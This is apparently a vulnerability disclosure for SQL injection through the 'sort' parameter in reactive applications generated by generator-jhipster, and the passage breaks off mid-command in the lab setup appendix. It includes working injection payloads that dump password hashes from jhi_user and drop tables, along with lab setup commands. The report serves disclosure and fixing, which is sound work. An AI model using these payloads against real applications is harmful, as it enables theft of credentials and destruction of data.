JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort

# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications - **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`) - **Affected versions**: v7.0.0 through v9.2.0 - **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs` - **Report date**: 2026-08-29 --- ## 1. Summary Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/<entity>?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database. A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16). The JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause. ## 2. Root Cause The generator template `generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`: ```java private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) { List<OrderByField> fields = new ArrayList<>(); for (Sort.Order order : sortToUse) { String propertyName = order.getProperty(); // attacker controlled (?sort=...) OrderByField orderByField = !propertyName.contains(".") ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName)) : createOrderByField(propertyName); fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc()); } return fields; } ``` The generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into: ```sql SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0 ``` ## 3. Verification A real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16. | Step | H2 (dev default) | PostgreSQL 16 (prod default) | | ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- | | Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL | | Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back | | `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 | All payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.** ## 4. Impact CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix. ## 5. Fix Recommendation In `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate. --- ## Appendix ### A. Environment setup ```bash # 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3 java -version # openjdk 21.x node --version # v20+ # 1. Clone the generator git clone https://github.com/jhipster/generator-jhipster.git cd generator-jhipster git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster. npm install --no-audit --no-fund # ~778 packages npm link # makes `jhipster` available jhipster --version # expected: 9.2.0 # 2. Generate the target app (reactive + SQL + JWT + paginated entity) mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux cat > .yo-rc.json <<'EOF' { "generator-jhipster": { "applicationType": "monolith", "baseName": "pocwebflux", "packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt", "databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql", "reactive": true, "skipClient": true, "buildTool": "maven", "enableTranslation": false, "jhipsterVersion": "9.2.0" } } EOF cat > product.jdl <<'EOF' entity Product { name String required, price BigDecimal } paginate Product with pagination EOF export JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully." jhipster jdl product.jdl --no-insight --force # Sanity check that the generated app contains the vulnerable code (all should match): grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java # 3a. Run on H2 (default dev database) ./mvnw -DskipTests package # -> BUILD SUCCESS setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null & curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"} BASE_URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh # 3b. Run on PostgreSQL 16 (default production database) docker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \ -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16 ./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())") setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=prod --server.port=18081 \ --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \ --spring.liquibase.url=jdbc:postgr